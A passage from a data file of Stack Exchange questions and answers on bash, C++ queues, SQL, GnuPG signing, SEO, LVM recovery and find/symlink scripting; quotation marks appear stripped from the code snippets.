displays, such as this nvidia prototype, go a different route. In stereo 3D, the light in the scene is already captured by two virtual (or physical) cameras, baking in the focal plane. Head-mounted displays like Oculus Rift then attempt to tape two displays in front of your eyes in such a way that the retina receives the exact same image that was captured by the camera. Lightfield displays go a different route: Instead of capturing two images ahead of time, they reproduce the entire 4D light field in front of your eyes, allowing your eyes to capture the image as if they were sitting directly inside the virtual scene. This has a number of benefits, including much smaller and lighter hardware as well as giving your eyes the ability to refocus.If there is a way to make lightfield displays technically and commercially viable, then I believe they can remove the need for depth of field and fixed focal planes entirely and make VR feel a whole lot more comfortable for the viewer. However, it is likely not possible to construct lightfield screens, so televisions and cinemas won't be able to use this technology."  } 
{  "id": "_cseducators.235"  , "question": "I have student who is attempting an independent study next year in audio processing. Her goals involve detecting the meter of a song. Thus could be done through machine learning, or through other forms of AI.While she will eventually be creating a science fair project, she has asked for advice on what to study over the summer in order to make the most of next year. I have no experience in this realm. I know that she had not yet taken AP Statistics, but I also don't know how much statistical knowledge is really necessary.As some context, she is a rising high school junior who has already taken AP Computer Science, and a course on C and Assembly Programming.Can anyone advise on how I can guide her?"  , "title": "Self guided learning about audio processing"  , "tags": "curriculum design;artificial intelligence;self learning;sound processing"  } 
{  "id": "_unix.386950"  , "question": "Please correct me if I am wrong: When a bash shell runs an external executable program, the bash shell will create a child process to run the program in foreground. If there is any key-generated signal, the signal will be sent to the child process and handled by program.When a bash shell runs a builtin command, the bash shell will  run the builtin command in the shell process directly in foreground. If there is any key-generated signal, will the signal   be sent to the shell process? Which will handle the signal, the builtin command's program or bash? Can a builtin command have its own signal handler, or does it have to rely on the signal handlers of bash?For example, when a bash shell is running wait in foreground and I press Ctrl-C, will the signal SIGINT be received by the shell process and handled by wait or by bash? Does wait have its own signal handler or rely on the signal handler of bash?Thanks."  , "title": "When a shell runs a builtin, and a signal is generated by keyboard, what will handle the signal?"  , "tags": "bash;signals;shell builtin"  } 
{  "id": "_codereview.160360"  , "question": "I found myself in need of a fixed size queue and decided to implement one using a ring (cyclic) buffer. I have tried my best to match the API of std::queue with the addition of full() to test if the queue is full and unable to accept another element.The code compiles cleanly with: -Wall -Wextra -pedantic --std=c++14 -lgtest -lgtest_main, it runs and all tests pass on clang 3.9.1. Unfortunately at least GCC 4.9.4 and below cannot compile the header file due to a bug where a noexcept specification can't refer to a member. All comments welcome.File: xtd/fixed_queue.hpp#ifndef GUARD_INCLUDE_XTD_FIXED_QUEUE_HPP#define GUARD_INCLUDE_XTD_FIXED_QUEUE_HPP#include <array>#include <cstdint>#include <stdexcept>namespace xtd {  template <typename T, std::size_t N>  class fixed_queue {  public:    using value_type = T;    using reference = value_type&;    using const_reference = const value_type&;    using size_type = std::size_t;    fixed_queue() = default;    fixed_queue(const fixed_queue& other) { *this = other; }    fixed_queue(fixed_queue&& other) { *this = std::move(other); }    ~fixed_queue() { clear(); }    fixed_queue& operator=(const fixed_queue& other) {      clear();      auto i = other.m_read_idx;      while (i != other.m_write_idx) {        emplace(*other.get(i));        i = other.increment_index(i);      }      return *this;    }    fixed_queue& operator=(fixed_queue&& other) {      clear();      while (!other.empty()) {        emplace(std::move(other.front()));        other.pop();      }      return *this;    }    size_type capacity() const { return N; }    size_type size() const {      if (empty()) {        return 0;      } else if (m_write_idx > m_read_idx) {        return m_write_idx - m_read_idx;      } else {        return N - m_read_idx + m_write_idx + 1;      }    }    void clear() {      while (!empty()) {        pop();      }    }    bool full() const { return size() == capacity(); }    bool empty() const { return m_write_idx == m_read_idx; }    reference front() { return const_cast<reference>(cthis()->front()); }    const_reference front() const {      assert_not_empty(Cannot peek an empty queue!);      return *get(m_read_idx);    }    void pop() {      assert_not_empty(Cannot pop an empty queue!);      auto old_idx = m_read_idx;      m_read_idx = increment_index(m_read_idx);      get(old_idx)->~value_type();    }    void swap(fixed_queue<T, N>& other) noexcept(noexcept(swap(this->m_data, other.m_data))) {      using std::swap;      swap(m_data, other.m_data);      swap(m_write_idx, other.m_write_idx);      swap(m_read_idx, other.m_read_idx);    }    template <typename... Args>    void emplace(Args&&... args) {      assert_not_full(Cannot push to a full queue!);      new (get(m_write_idx)) value_type(std::forward<Args>(args)...);      m_write_idx = increment_index(m_write_idx);    }  private:    // We add one to the capacity, this avoids the problem that:    // read_idx == write_idx on both an empty and a full queue.    // We will never get truly full as there will always be one    // extra space.    alignas(value_type) std::array<uint8_t, sizeof(value_type) * (N + 1)> m_data;    size_type m_write_idx = 0;    size_type m_read_idx = 0;    auto cthis() const { return const_cast<const fixed_queue<T, N>*>(this); }    auto assert_not_empty(const char* message) const {      if (empty()) {        throw std::runtime_error(message);      }    }    auto assert_not_full(const char* message) const {      if (full()) {        throw std::runtime_error(message);      }    }    auto increment_index(size_type i) const { return (i + 1) % (N + 1); }    auto get(size_type i) { return const_cast<value_type*>(cthis()->get(i)); }    auto get(size_type i) const { return reinterpret_cast<const value_type*>(m_data.data()) + i; }  };  template <typename T, std::size_t N>  void swap(fixed_queue<T, N>& a, fixed_queue<T, N>& b) noexcept(noexcept(a.swap(b))) {    a.swap(b);  }}#endifFile: test/fixed_queue.cpp#include xtd/fixed_queue.hpp#include <gtest/gtest.h>#include <ostream>std::ostream& operator<<(std::ostream& os, const std::vector<std::string>& v) {  os << [;  auto first = true;  for (auto& x : v) {    if (!first) {      os << , ;    }    first = false;    os << x;  }  os << ];  return os;}namespace xtd {  std::vector<std::string> destructorCalls;  std::vector<std::string> constructorCalls;  std::vector<std::string> copyConstructorCalls;  std::vector<std::string> moveConstructorCalls;  class TestClass {  public:    TestClass(const std::string& name) : m_name(name) { constructorCalls.emplace_back(m_name); }    TestClass(TestClass&& other) : m_name(std::move(other.m_name)) {      other.m_name = --MOVED--;      moveConstructorCalls.emplace_back(m_name);    }    TestClass(const TestClass& other) : m_name(other.m_name) {      copyConstructorCalls.emplace_back(m_name);    }    ~TestClass() { destructorCalls.emplace_back(m_name); }    bool operator==(const TestClass& other) const { return m_name == other.m_name; }    const std::string& name() const { return m_name; }  private:    std::string m_name;  };  class fixed_queue_test : public ::testing::Test {  protected:    virtual void SetUp() {      constructorCalls.clear();      copyConstructorCalls.clear();      moveConstructorCalls.clear();      destructorCalls.clear();    }    virtual void TearDown() {}  };  TEST_F(fixed_queue_test, CopyAssignmentWithComplexObject) {    auto cut = fixed_queue<TestClass, 3>();    // Create a test case that is partially wrapped around.    cut.emplace(foo);  // index 0    cut.pop();    cut.emplace(bar);  // 1    cut.pop();    cut.emplace(baz);  // 2    cut.emplace(boz);  // index 0    auto copy = fixed_queue<TestClass, 3>();    copy.emplace(beef); // make sure old data is cleared    copy = cut;     ASSERT_EQ(cut.size(), copy.size());    ASSERT_EQ(cut.front().name(), copy.front().name());    ASSERT_EQ(0, moveConstructorCalls.size());    ASSERT_EQ(5, constructorCalls.size());    ASSERT_EQ(2, copyConstructorCalls.size());    ASSERT_EQ(3, destructorCalls.size());    ASSERT_EQ(baz, copyConstructorCalls[0]);    ASSERT_EQ(boz, copyConstructorCalls[1]);  }  TEST_F(fixed_queue_test, MoveAssignmentWithComplexObject) {    auto cut = fixed_queue<TestClass, 32>();    cut.emplace(foo);    cut.emplace(bar);    cut.emplace(baz);    cut.pop();    auto copy = fixed_queue<TestClass, 32>();    copy.emplace(beef);    copy = std::move(cut);    ASSERT_EQ(2, copy.size());    ASSERT_EQ(bar, copy.front().name());    // std::cout<<moveConstructorCalls<<std::endl;    ASSERT_EQ(2, moveConstructorCalls.size());    ASSERT_EQ(4, constructorCalls.size());    ASSERT_EQ(4, destructorCalls.size());    ASSERT_EQ(bar, moveConstructorCalls[0]);    ASSERT_EQ(baz, moveConstructorCalls[1]);    ASSERT_EQ(foo, constructorCalls[0]);    ASSERT_EQ(bar, constructorCalls[1]);    ASSERT_EQ(baz, constructorCalls[2]);    ASSERT_EQ(beef, constructorCalls[3]);    ASSERT_EQ(foo, destructorCalls[0]);    ASSERT_EQ(beef, destructorCalls[1]);    ASSERT_EQ(--MOVED--, destructorCalls[2]);    ASSERT_EQ(--MOVED--, destructorCalls[3]);  }  TEST_F(fixed_queue_test, EmplacePopWithComplexObject) {    auto cut = fixed_queue<TestClass, 32>();    ASSERT_TRUE(constructorCalls.empty());    ASSERT_TRUE(destructorCalls.empty());    cut.emplace(foo);    ASSERT_EQ(1, constructorCalls.size());    ASSERT_EQ(foo, constructorCalls[0]);    ASSERT_TRUE(destructorCalls.empty());    cut.emplace(bar);    cut.emplace(baz);    cut.pop();    ASSERT_EQ(3, constructorCalls.size());    ASSERT_EQ(bar, constructorCalls[1]);    ASSERT_EQ(baz, constructorCalls[2]);    ASSERT_EQ(1, destructorCalls.size());    ASSERT_EQ(foo, destructorCalls[0]);  }  TEST_F(fixed_queue_test, ClearWithComplexObject) {    constructorCalls.clear();    destructorCalls.clear();    auto cut = fixed_queue<TestClass, 32>();    cut.emplace(foo);    cut.emplace(bar);    cut.emplace(baz);    cut.clear();    ASSERT_TRUE(cut.empty());    ASSERT_EQ(0, cut.size());    ASSERT_EQ(3, constructorCalls.size());    ASSERT_EQ(foo, constructorCalls[0]);    ASSERT_EQ(bar, constructorCalls[1]);    ASSERT_EQ(baz, constructorCalls[2]);    ASSERT_EQ(constructorCalls, destructorCalls);  }  TEST_F(fixed_queue_test, DestructorWithComplexObject) {    constructorCalls.clear();    destructorCalls.clear();    {      auto cut = fixed_queue<TestClass, 32>();      cut.emplace(foo);      cut.emplace(bar);      cut.emplace(baz);    }    ASSERT_EQ(3, constructorCalls.size());    ASSERT_EQ(foo, constructorCalls[0]);    ASSERT_EQ(bar, constructorCalls[1]);    ASSERT_EQ(baz, constructorCalls[2]);    ASSERT_EQ(constructorCalls, destructorCalls);  }  TEST_F(fixed_queue_test, DefaultConstructor) {    auto cut = fixed_queue<int, 32>();    ASSERT_EQ(32, cut.capacity());    ASSERT_TRUE(cut.empty());    ASSERT_FALSE(cut.full());    ASSERT_EQ(0, cut.size());  }  TEST_F(fixed_queue_test, SimpleUsage) {    auto cut = fixed_queue<int, 4>();    cut.emplace(1);    ASSERT_FALSE(cut.empty());    cut.emplace(2);    cut.emplace(3);    cut.emplace(4);    ASSERT_EQ(1, cut.front());    ASSERT_EQ(4, cut.size());    ASSERT_FALSE(cut.empty());    ASSERT_TRUE(cut.full());    ASSERT_EQ(4, cut.capacity());    cut.pop();    ASSERT_EQ(2, cut.front());    ASSERT_EQ(3, cut.size());    ASSERT_FALSE(cut.full());    cut.pop();    ASSERT_EQ(3, cut.front());    ASSERT_EQ(2, cut.size());    cut.pop();    ASSERT_EQ(4, cut.front());    ASSERT_EQ(1, cut.size());    cut.pop();    ASSERT_EQ(0, cut.size());    ASSERT_TRUE(cut.empty());  }  TEST_F(fixed_queue_test, LoopingUsage) {    const int capacity = 10;    const int laps = 3;    for (int window = 1; window <= capacity; ++window) {      int counter = 0;      auto cut = fixed_queue<int, capacity>();      for (int i = 0; i < window; ++i) {        cut.emplace(counter++);      }      try {        for (int i = 0; i < capacity * laps; ++i) {          std::string msg = Window:  + std::to_string(window) +  i= + std::to_string(i);          ASSERT_EQ(counter - window, cut.front()) << msg;          cut.pop();          cut.emplace(counter++);          ASSERT_EQ(window, cut.size()) << msg;        }      } catch (...) {        std::cout << Window:  << window << std::endl;        throw;      }    }  }}"  , "title": "Implementation of fixed size queue using a ring (cyclic) buffer"  , "tags": "c++;c++14;collections;circular list"  , "accepted_answer": "Non Standard Copy SemanticsInterested in why you chose to implement the copy constructor in terms of the copy assignment operator and not the other way around. Noting that the standard way to implement this is the copy and swap idiom (other way around).I can see this is probably slightly more efficient. But is the decrease in readability worth it. Only you can answer that.fixed_queue(const fixed_queue& other) { *this = other; }fixed_queue& operator=(const fixed_queue& other) {  clear();  auto i = other.m_read_idx;  while (i != other.m_write_idx) {    emplace(*other.get(i));    i = other.increment_index(i);  }  return *this;}The one issue I have with this is that it does not provide the strong exception guarantee and you can't fall back to the original state if something goes wrong.Though this is correct. I don't like the copy constructor not explicitly initializing the members. Have to go check the rest of the code to make sure the members are initialized reeks of doing things in multiple places.Move SemanticsThe source of the move can be left in an undefined state (as long as it is valid).I don't see the need to pop() values from the source object. just move them. Poping them adds extra work that is not required. The destructor when called when do all the cleanup required.fixed_queue& operator=(fixed_queue&& other) {  clear();  while (!other.empty()) {    emplace(std::move(other.front()));    // Don't need this.    // Though if you do remove this you need to change the above line    // to get a reference to an internal member.    other.pop();  }  return *this;}AlignmentNot 100% convinced this works.alignas(value_type) std::array<uint8_t, sizeof(value_type) * (N + 1)> m_data;You want the internals of the array (ie. the array members) to be aligned to value_type. This is technically aligning the array (not its members). I have not read up on the requirements of the array (so this may work) but this seems a bit doggy.Just point this works because std::array is a special case (guaranteed to only have one element that aligns with the specified data type). In general aligning containers on their content data type may not work.Initializationsize_type m_write_idx = 0;size_type m_read_idx = 0;I prefer the constructor to initialize members. It's easier to spot when things are missed. If you are going to initialize the members in the code then I prefer them near the construcors so that it is easy to spot.Personally I lay my code out like this:Class    private   Variables    public    Constructors/Assignment/Destructors    public    methods    protected methods    private   methodsThis way I can quickly see if the members have all been initialized."  } 
{  "id": "_softwareengineering.329117"  , "question": "I want to ask for any suggestions for an architecture I can implement for a Java app I need to create (initial thoughts below).It is supposed to be a local Swing application for tracking financial aspects of multiple construction sites. Excel-like but with a few additional features like mailing data etc.After some thinking, I came up with an idea of using a Derby database with a separate table for clients, another one for categories of products used and multiple ConstructionX tables, each containing records for a different construction site, created dynamically via JDBC.That last part is what I'm most concerned about as it doesn't really feel like a good solution programatically but it does so pragmatically.I don't really have much experience building applications like this so here comes my question: Is there any better way I could design this database? I'm open for suggestions (please don't post it on TheDailyWTF).(I originally asked this question on StackOverflow and was redirected here)As a side note (as someone on SO suggested something like this too): I originally planned to create just one Construction table which would hold records for all construction sites where each record would be tagged with a construction site number it refers to (possibly forming a relation to a table holding all sites). However, I was worried about times of running SELECT statements (when displaying all records just for one specific site). Can anyone confirm it'd be a better solution here?"  , "title": "Performance: One table vs multiple tables (generated programatically) for the same logical entity?"  , "tags": "java;database design"  , "accepted_answer": "Creating separated tables for the same entity based on a domain value is generally a bad idea.Talking about CONNSTRUCTION and CONSTRUCTION_SITE:Make sure the tables are apropiatelly indexedCONSTRUCTION has a PKCONSTRUCTION_SITE has a PKCONSTRUCTION has a FK pointing to CONSTRUCTION_SITEThere will be an index for every PK and every FK.The database engine will take care of, as fast as it can, filter out the rows you want. That's what database engines are for.As they say: Premature optimization, etc."  } 
{  "id": "_webapps.100195"  , "question": "We use Cognito for a long, complex application process with application windows every 6 months. I have a large number of users that started the form and I would like to be able to email them their resume URL rather than have them call/email to have it manually resent. I have exported the data to excel, but I can't find a field/column that would be the resume URL. Does this exist, or alternatively can I get to t thru an API or Zapier?"  , "title": "How can I export the cognito forms resume URL for all incomplete submissions"  , "tags": "cognito forms"  } 
{  "id": "_unix.296697"  , "question": "I want to encrypt a file with a private key and decrypt it with a public key. A public key will be embedded in my app. So I want to have a guarantee that the file was created by me. How can I use gpg or openssl to implement it."  , "title": "How to encrypt a file with private key"  , "tags": "openssl;gpg;signature"  , "accepted_answer": "It makes no sense to encrypt a file with a private key.Using a private key to attach a tag to a file that guarantees that the file was provided by the holder of the private key is called signing, and the tag is called a signature.There is one popular cryptosystem (textbook RSA) where a simplified (insecure) algorithm uses has public and private keys of the same type, and decryption is identical to signature and encryption is identical to verification. This is not the case in general: even RSA uses different mechanisms for decryption and signature (resp. encryption and verification) with proper, secure padding modes; and many other algorithms have private and public keys that aren't even the same kind of mathematical objects.So you want to sign the file. The de facto standard tool for this is GnuPG.To sign a file with your secret key:gpg -s /path/to/fileUse the --local-user option to select a secret key if you have several (e.g. your app key vs your personal key).Transfer file.gpg to the place where you want to use the file. Transfer the public key as well (presumably inside the application bundle). To extract the original text and verify the signature, rungpg file.gpgIf it's more convenient, you can transfer file itself, and produce a separate signature file which is called a detached signature. To produce the detached signature:gpg -b /path/to/fileTo verify:gpg file.gpg fileYou can additionally encrypt the file with the -e option. Of course this means that you need a separate key pair, where the recipient (specified with the -r option) has the private key and the producer has the public key."  } 
{  "id": "_webmaster.22305"  , "question": "Is there a way to find if the site is using shared hosting hosting or not?"  , "title": "Is there a way to find if the site is using shared hosting"  , "tags": "web hosting;shared hosting"  , "accepted_answer": "You can try using a reverse IP lookup and see how many other websites run on the same IP:Something like: http://www.yougetsignal.com/tools/web-sites-on-web-server/"  } 
{  "id": "_webmaster.24614"  , "question": "I'm about to re-launch a uk based community interest company website which has the same link structure for each of 10 different top level domains.There are presently no international websites, but there may be in the future.For simplicity's sake I intend to nominate a single primary domain (.org.uk) and then use htaccess to redirect incoming traffic from alternative TLD's back to the primary domain.Is this best practice in terms of efficiency and SEO?Would there be any benefit to using .com or .co.uk as the primary domain."  , "title": "Best practice for URL direction in a multi TLD site"  , "tags": "seo;domains;top level domains"  , "accepted_answer": "There is no SEO bias towards any major tld, such as the ones you mentioned. The only thing you need to take into consideration here is which tld is best suited by definition - .co.uk for a site that is for a UK audience, .org.uk for an organization in the uk or .com for an international website. I would personally go with .com as it allows you to expand internationally in the future (you mentioned you might), it's arguably the easiest to remember/one most people are familiar with.You're absolutely correct in redirecting each extension back to your chosen one (a 301 redirect in your .htaccess would be the way to go).Also, add each site to your bing/google webmaster tools and configure accordingly. :-)Hope this helps."  } 
{  "id": "_unix.344928"  , "question": "I have a Scientific Linus 6.7 box that serves some applications on our network. The person who set it up is no longer around. This morning machine stopped booting. There are two HDD's and they both show up in BIOS. If I put another HDD in, it boots fine.I ran Ubuntu from another drive and Gparted shows the original drives are LVM2. I installed LVM and can see that they were configured to be used as one logical drive of combined capacity.My hunch is that one of the drives failed. Can I rescue any data?"  , "title": "Can I rescue any data if one of two drives in LVM failed?"  , "tags": "lvm;data recovery;raid;scientific linux"  } 
{  "id": "_unix.350132"  , "question": "I have been partially successful with this, but I am stuck. Here is my script:I want to prompt the user, wait for input from a USB gamepad, and then execute a command based on which button is pressed.if lsusb | grep -q '0583:2060'then  echo press the A button  #  if jstest --event /dev/input/js0 | grep -q number 0, value 1  then    echo you pressed the A button  else    echo you pressed the NOT A button  fifiIt checks for the gamepad being connected just fine. It also checks the jstest and echos you pressed the A button when I press the A button. I can't get it to execute the else part in this situation though, as grep filters only button 0, value 1 from jstest (the A button), which means if I am not pressing the A button jstest is piping NOTHING to grep, it always waits for the A button.I was thinking maybe there was some way to do:grep -q number ., value 1 which will return ANY button being pressed, and then have different commands executed based on what what grep shows. I thought I could use a case statement for this, but I can't get jstest to work with case. I feel like jstest isn't meant for this kind of stuff, only to test, but extensive googling has shown me no other options for interacting with a game pad through a script.How can I make a shell script that prompts the user, waits for a button press, then executes different commands based on which button was pressed?"  , "title": "Using a shell script with jstest, how can I get a gamepad to interact with my script?"  , "tags": "shell script"  } 
{  "id": "_softwareengineering.227651"  , "question": "My organization was flat two years ago, and people felt that the general manager had disproportionate almost dictatorial powers. Also the general manager didn't have time to coach employees, so some employees were dysfunctional and nothing was done about them. However on the plus side everyone was involved in the decision making, thus motivation was very high.So what do you think about flat vs hierarchical organizational structures in software development?"  , "title": "Flat organizations vs hierarchical for software development"  , "tags": "organization"  } 
{  "id": "_webmaster.99867"  , "question": "The use case is a document which has multiple versions which are all simultaneously available. For example, documentation on a product for each version of that software:/v1/install-guide/v2/install-guide/v3/install-guideThese are not the same content in the sense that it would be incorrect to specify in the v1 and v2 pages that the canonical URL is v3. If I searched in Google for 'product install guide v2' I'd expect to be able to find v2. Each version of the document would be slightly different but they'd have a lot in common with each other.So the question is: can I mark up these pages in some way to signal to Google and friends that the latest version (v3) is preferred, so a simple search for 'product install guide' is more likely to show the v3 page instead of the v1 or v2 page?"  , "title": "How to correctly mark up different versions of the same document which are non-canonical"  , "tags": "seo;duplicate content;canonical url"  } 
{  "id": "_unix.261268"  , "question": "I have a set of hosts that I can only access via openVPN (one VPN per host or group of hosts). ssh is only available after connected to the VPN.Is there any way to automatically bring up the VPN connection for the individual hosts / host groups inside the inventory using default ansible methods?"  , "title": "using ansible via vpn"  , "tags": "vpn;ansible"  } 
{  "id": "_webmaster.84708"  , "question": "I was wondering the about the effect a duplicate/similar codebase of products would have on a sites SEO across 190 domains.We have a dealer group with 190 for a certain class of products e.g. hardware & building supplies in the same country. As part of thier membership to the dealer group our members recieve printed catalogues of 2500 - 7000 products, they also get a web solution with all the catalogue products listed which allows b2b ordering, searching and quote requests on these items. We are looking into making these sites more SEO friendly (readable url's, responsive, keywords etc) nothing serious, pretty much just make sure we check all the basics. All the websites point to the same codebase, which then fetches the members template and product/category visibility and displays the site.My questions are as follows...Would there be any negative ranking effect based on the repeated listings of products from different domains served from the same ip? Thousands of products have identical short and long descriptions,keywords,codes and images.What would be the best way to implement and xml sitemap for each different domain? I have considered generating a sitemap for each domain in a directory i.e /allsitemaps with a disallow bots file and then adding a route to the site that points to the correct sitemap depending on the url so www.sample.com/sitemap.xml actually returns www.sample.com/allsitemaps/sample.com/sitemap.xml. Do you think this approach would work?Sorry if the questions seem basic. I have just enough SEO knowledge to get a unique site indexed reasonably well, but I have no idea how search engines react to a situation like this and am struggling to find any information on the topic.Thanks in advance."  , "title": "SEO multiple ecommerce website running off the same codebase"  , "tags": "seo;sitemap;duplicate content;googlebot;ecommerce"  , "accepted_answer": "In short, yes.  One of the biggest issues in SEO is duplication of content (both externally and internally).  If 190 domains all have the exact same products listed that will create lots of duplicate content, and it will be difficult for the sites to rank.  However there are ways around this, after all amazon is full of content found elsewheree on the web.  Such as adding other unique content to the site, using iframes to 'hide' the duplicated content.Some good tips on this here:Handling User-Generated & Manufacturer-Required Duplicate Content Across Large Numbers of URLsYou can list sitemap.xml files for different domains on a single domain, you just need to verify all domains in the same Search Console acccount.More info here: Manage sitemaps for multiple sites"  } 
{  "id": "_unix.87160"  , "question": "In the KDE menu in Knoppix live CD I saw there is a submenu somewhere with the title 'shells' and another with the title 'xshells'.So seemed to me they are two seperate family of shells.What is the difference between them?"  , "title": "What's the difference between shells and xshells?"  , "tags": "kde"  , "accepted_answer": "A shell is a command line application that prompts the user for commands and then executes those commands.X Shell is another word for terminal emulator. It's a graphical application that allows you to run a command line application inside it and thus allows you to execute command line applications in a graphical environment.When you select an entry in the Shells menu, the selected shell will be started in your default terminal emulator/xshell. When you select an entry in the XShells menu, your default shell will be started in the selected terminal emulator."  } 
{  "id": "_codereview.124782"  , "question": "I have a query in MSSQL, where I get a summary by days from a range in a table, and this is in union with other queries. This query is used to generate days in a specific range, then add the registry per day, and exclude the registry that are equal to others (in this case, count the rows that tipo is 1, and tipo = 0, and if both are equal, exclude this), and then do a union with a single query.Is there any way to improve this query?USE [C:\\PROGRAMDATA\\REGISFING\\REGISFING.MDF];/* Borre las tablas temporales si existen. */IF OBJECT_ID('tempdb..#Period') IS NOT NULL DROP TABLE #Period;IF OBJECT_ID('tempdb..#Registro') IS NOT NULL DROP TABLE #Registro;DECLARE @FInicio date = '29/02/2016';DECLARE @FFinaliza date = '04/04/2016';/* Los siguientes son para utilizar los listados en los filtros */DECLARE @Cedula table(Ced int);INSERT @Cedula(Ced) VALUES (1073237901), (1032456940), (1070622582), (45504769);DECLARE @Puntos table(Punto int);INSERT @Puntos(Punto) VALUES (0), (43), (99);/* Importante al pasar al .Net se debe modificar y adjuntar segn las elecciones en los controles */WITH CTE AS    (SELECT DISTINCT CONVERT(date,Inicio,101) AS StartTime,            DATEDIFF(dd, Inicio, Finaliza) AS diff, cedula        FROM Asignaciones            /* Aqu colocar el codigo para las cedulas especficas */                WHERE cedula IN (SELECT Ced FROM @Cedula)UNION ALL     SELECT StartTime, diff - 1 AS diff, cedula         FROM CTE            WHERE diff <> 0)    SELECT DISTINCT DATEADD(dd, diff, StartTime) AS Dias, C.cedula        INTO #Period        FROM CTE C, Asignaciones A            WHERE C.cedula = A.cedula                    /* Filtra entre las fechas especificadas */                    AND (DATEADD(dd, diff, StartTime) BETWEEN @FInicio AND @FFinaliza)        GROUP BY StartTime, C.cedula, diff--, R.Fecha        ORDER BY C.Cedula, DiasSELECT R.cedula, (CAST(Fecha AS date)) AS Dia, Tipo_Reg, COUNT(CAST(R.Fecha AS date)) AS Cantidad    INTO #Registro    FROM Registro R            /* Filtra entre las fechas especificadas */        WHERE R.Fecha BETWEEN @FInicio AND @FFinaliza            /* Filtra entre las cedulas especificadas */            AND cedula IN (SELECT Ced FROM @Cedula)            /* Filtra entre las ubicaciones especificadas */            AND (R.IdUbicacion IN (SELECT Punto FROM @Puntos))GROUP BY R.cedula, (CAST(R.Fecha AS date)), R.Tipo_Reg/* Se unen las dos consultas temporales */SELECT 'XX No timbrados' AS column1,        CONCAT(p.cedula, ' ', U.Nombre, ' ', U.Apellido) AS column2,        'Diferencias' AS column3,        CAST(p.Dias AS datetime) AS column4,        CONCAT('Entradas: ', CASE WHEN SUM(CASE WHEN R.Tipo_Reg = 0 THEN Cantidad END) IS NULL THEN 'No timbr' ELSE CAST(SUM(CASE WHEN R.Tipo_Reg = 0 THEN Cantidad END) AS varchar) END,             ' - Salidas: ', CASE WHEN SUM(CASE WHEN R.Tipo_Reg = 1 THEN Cantidad END) IS NULL THEN 'No timbr' ELSE CAST(SUM(CASE WHEN R.Tipo_Reg = 1 THEN Cantidad END) AS varchar) END) AS column5    FROM Usuario U, #Period p        LEFT JOIN #Registro r on r.cedula = p.cedula AND r.Dia = p.Dias    WHERE U.cedula = P.cedula    GROUP BY P.cedula, U.Nombre, U.Apellido, CAST(p.Dias AS datetime)        HAVING SUM(CASE WHEN R.Tipo_Reg = 0 THEN Cantidad END) IS NULL OR SUM(CASE WHEN R.Tipo_Reg = 1 THEN Cantidad END) IS NULL                OR SUM(CASE WHEN R.Tipo_Reg = 0 THEN Cantidad END) <> SUM(CASE WHEN R.Tipo_Reg = 1 THEN Cantidad END)    UNION ALLSELECT CONCAT(P.IdUbicacion, ' ', P.nombre) AS column1,        CONCAT(U.cedula, ' ', U.Nombre, ' ', U.Apellido) AS column2,        (CASE WHEN R.Tipo_Reg = 1 THEN 'Entrada' ELSE 'Salida' END) AS column3,        N.Fecha AS column4,        N.Observacion AS column5    FROM Novedades N, Usuario U, Registro R, Ubicacion P        WHERE (U.cedula = N.cedula            AND R.cedula = N.cedula            AND R.Fecha = N.Fecha            AND R.IdUbicacion = P.IdUbicacion)            AND R.Fecha BETWEEN @FInicio AND @FFinalizaORDER BY column1, column2, column4"  , "title": "Generating days in a specific range"  , "tags": "sql;datetime;sql server"  } 
{  "id": "_unix.371434"  , "question": "I am trying to use find to find files matching a certain pattern, and then symlink their parent directorys to another directory, this is my current script (I'm doing this on mac so -printf won't work here):#!/usr/bin/env bashPROCESS_DIR=/Users/me/Google Drive/MeOUTPUT_DIR=/Users/me/OfflineFolder# Copy directory structure and then make symlinksrm -R $OUTPUT_DIR;mkdir $OUTPUT_DIR;cd $PROCESS_DIR;find . -name *.md -exec ln -vs $(dirname {}) $OUTPUT_DIR \\;But it doesn't seem to be working. This script however does work (makes symlinks to all the md files on my computer:# Copy directory structure and then make symlinksrm -R $OUTPUT_DIR;mkdir $OUTPUT_DIR;cd $PROCESS_DIR;find . -type d -exec mkdir -vp $OUTPUT_DIR/{} \\;find . -name *.md -exec ln -vs $(pwd)/{} $OUTPUT_DIR/{} \\;find $OUTPUT_DIR -type d -empty -deleteAny idea why this is not working? I've tried several different approaches (including using find $PROCESS_DIRECTORY instead of cd $PROCESS_DIRECTORY). Thanks"  , "title": "Find a file and make a symlink to parent using find and -exec"  , "tags": "shell script;find;quoting;command substitution"  , "accepted_answer": "You have two problems, both related to the order in which things happen.find . -name *.md -exec ln -vs $(dirname {}) $OUTPUT_DIR \\; is a single command. The shell parses it before executing it. Amongst the step in parsing:$() is a command substitution, so dirname {} is executed, yielding . (there's no directory part in {}).$OUTPUT_DIR is a variable substitution, so it's replaced by its value.*.md is a glob pattern, so it's replaced by the list of matching files. If there are no matches, the pattern remains in place.This completes the work required to determine what command to execute.If there are no files matching *.md in the current directory then the following command is executed with the given arguments: find, ., -name, *.md, -exec, ln, -vs, ., /Users/me/OfflineFolder, ;.If *.md matches bar.md and foo.md then the command is find, ., -name, foo.md, -exec,  (and find will miss any file called something-other-than-foo.md in subdirectories).If *.md matches bar.md and foo.md then the command is find, ., -name, bar.md, foo.md, -exec,  (and find will complain of a syntax error).You want to execute dirname on the find results. This means that you need to instruct find to run dirname. You can do that, but find doesn't have any mechanism to gather the output from dirname and pass it as an argument to ln. For this you need a tool such as a shell, where it's a command substitution.So here's the strategy: tell find to invoke a shell, and tell that shell to run the command involving ln and dirname. You need to take care of quoting. Put the shell command in single quotes to avoid having its special characters interpreted by the outer shell. Also put the pattern for -name in quotes so that it's passed to find and not expanded by the outer shell.find . -name '*.md' -exec sh -c 'ln -vs ' \\;The next step is to complete the . Do not use {} inside the shell command: that would just place the file name as a snippet of shell code, and any special characters would be parsed by the inner shell. Instead, pass the file name given by find as an argument to the shell script. The first argument after sh -c CODE is the name of the shell instance ($0), but you can use it for whatever purpose you like; subsequent argument are the positional parameters ($1, $2, ).find . -name '*.md' -exec sh -c 'ln -vs $(dirname $0) $1' {} $OUTPUT_DIR \\;I've passed $OUTPUT_DIR as an argument to the script. It doesn't matter here because the value doesn't contain any shell special characters, but it's a good habit to get into, you never know when someone might change the path to e.g. include spaces. Another possibility would be to pass it through the environment:export OUTPUT_DIRfind . -name '*.md' -exec sh -c 'ln -vs $(dirname $0) $OUTPUT_DIR' {} \\;Instead of dirname, you can use a textual substitution: remove everything after the last slash. You don't have to worry about the special case where there's no directory part as this doesn't happen for a file name passed by find.export OUTPUT_DIRfind . -name '*.md' -exec sh -c 'ln -vs ${0%/*} $OUTPUT_DIR' {} \\;You can use the + form of -exec to speed things up a little. I pass _ as $0 and the subsequent arguments are 